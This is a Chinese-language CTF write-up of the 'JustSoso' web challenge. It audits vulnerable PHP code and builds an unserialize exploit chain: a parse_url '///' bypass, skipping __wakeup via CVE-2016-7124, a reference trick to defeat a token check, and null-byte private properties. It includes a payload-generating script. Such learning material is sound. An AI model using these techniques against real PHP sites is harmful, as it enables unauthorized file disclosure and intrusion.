JustSoso-web

每一段代码都值得被温柔对待

0x01

审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<html>
//index.php
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>



//hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
//index.php
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}

代码第一行包含文件,此处我们包含的文件应该是hint.php

接着,绕过parse_url(),我们使用’///‘可对parse_url()函数进行绕过

原理:This function is intended specifically for the purpose of parsing URLs and not URIs. However, to comply with PHP’s backwards compatibility requirements it makes an exception for the file:// scheme where triple slashes (file:///…) are allowed. For any other scheme this is invalid.
参考:php.net-parse_url()

当使用’///‘时将会返回null,此时对下列的代码起到绕过作用。
接着进行反序列化操作,关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Handle{ 
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

然后我们这里需要关注的点是

1
2
3
4
5
6
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}

所有成员变量将会被转为null.通过CVE-2016-7124可以绕过wakeup().
参考:[php 反序列化绕过魔术方法
wakeup(CVE-2016-7124)](http://www.she1don.cn/index.php/archives/20.html)
魔术方法wakeup()触发于 unserilize()调用之前, 当反序列化时的字符串所对应的对象的数目被修改,魔术方法wakeup()的函数就不会被调用.
关键代码:

1
2
3
public function __destruct(){
$this->handle->getFlag();
}

调用getFlag()函数,所以可知我们构造序列化文本时,$handle便要为class flag.
关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
//$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}

然后我们要关注的是这里的$file要为”flag.php”
然后需要绕过验证’$this->token === $this->token_flag’,这里使用引用绕过,
参考文章:https://blog.csdn.net/alen_xiaoxin/article/details/56011299
上面代码中还有一个问题

1
private $handle;

所以这里我们要在handle前用%00
其实这个知识点我不是很了解,所以这里做一个拓展,
参考文章:https://xz.aliyun.com/t/3674
测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
class test
{
private $flag = "flag{233}";
public $a = "aaa";
static $b = "bbb";
}

$test = new test;
$data = serialize($test);
echo $data;
echo "<br>";
$consequence = urlencode($data);
echo $consequence;
?>

先看一下例子,测试结果是:

1
2
3
O:4:"test":2:{s:10:"testflag";s:9:"flag{233}";s:1:"a";s:3:"aaa";}

O%3A4%3A%22test%22%3A2%3A%7Bs%3A10%3A%22%00test%00flag%22%3Bs%3A9%3A%22flag%7B233%7D%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22aaa%22%3B%7D

有没有发现一个问题,就是private修饰的变量,它的字符长度为10而不是8,这是因为它是private属性,翻阅文档就可以看到说明,它会在两侧加入空字节。所以我们构造的时候也要记得带上空字节。

综上所有问题,我们开始构造payload.(个人觉得构造payload对我这个新手来说还是挺痛苦的,所以可以一步一步慢慢来,根据上面的绕过一点一点加进去)

然后这里我们通过使用代码生成payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php  
class Handle{
private $handle;
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token = &$this->token_flag;
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
$flag = new Flag('flag.php');
$handle = new Handle($flag);
echo urlencode(str_replace('O:6:"Handle":1', 'O:6:"Handle":10', serialize($handle)));
?>

这里的引用绕过体现在这段代码:

1
$this->token = &$this->token_flag;

最后生成序列化文本,然后payload为:

1
?file=hint.php&payload=以上获取的序列化文本

最后贴一个PHP反序列化标识符含义:

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

0x02

这道题确实当时做不出来,一方面是自己的水平不够,很多知识点都没有掌握,然后这道题别人的wp都是简略写,但是我是希望能借此仔细学习一下这几个知识点,并且这道题里通过脚本生成序列化文本,然后觉得很赞,多学习学习。

0%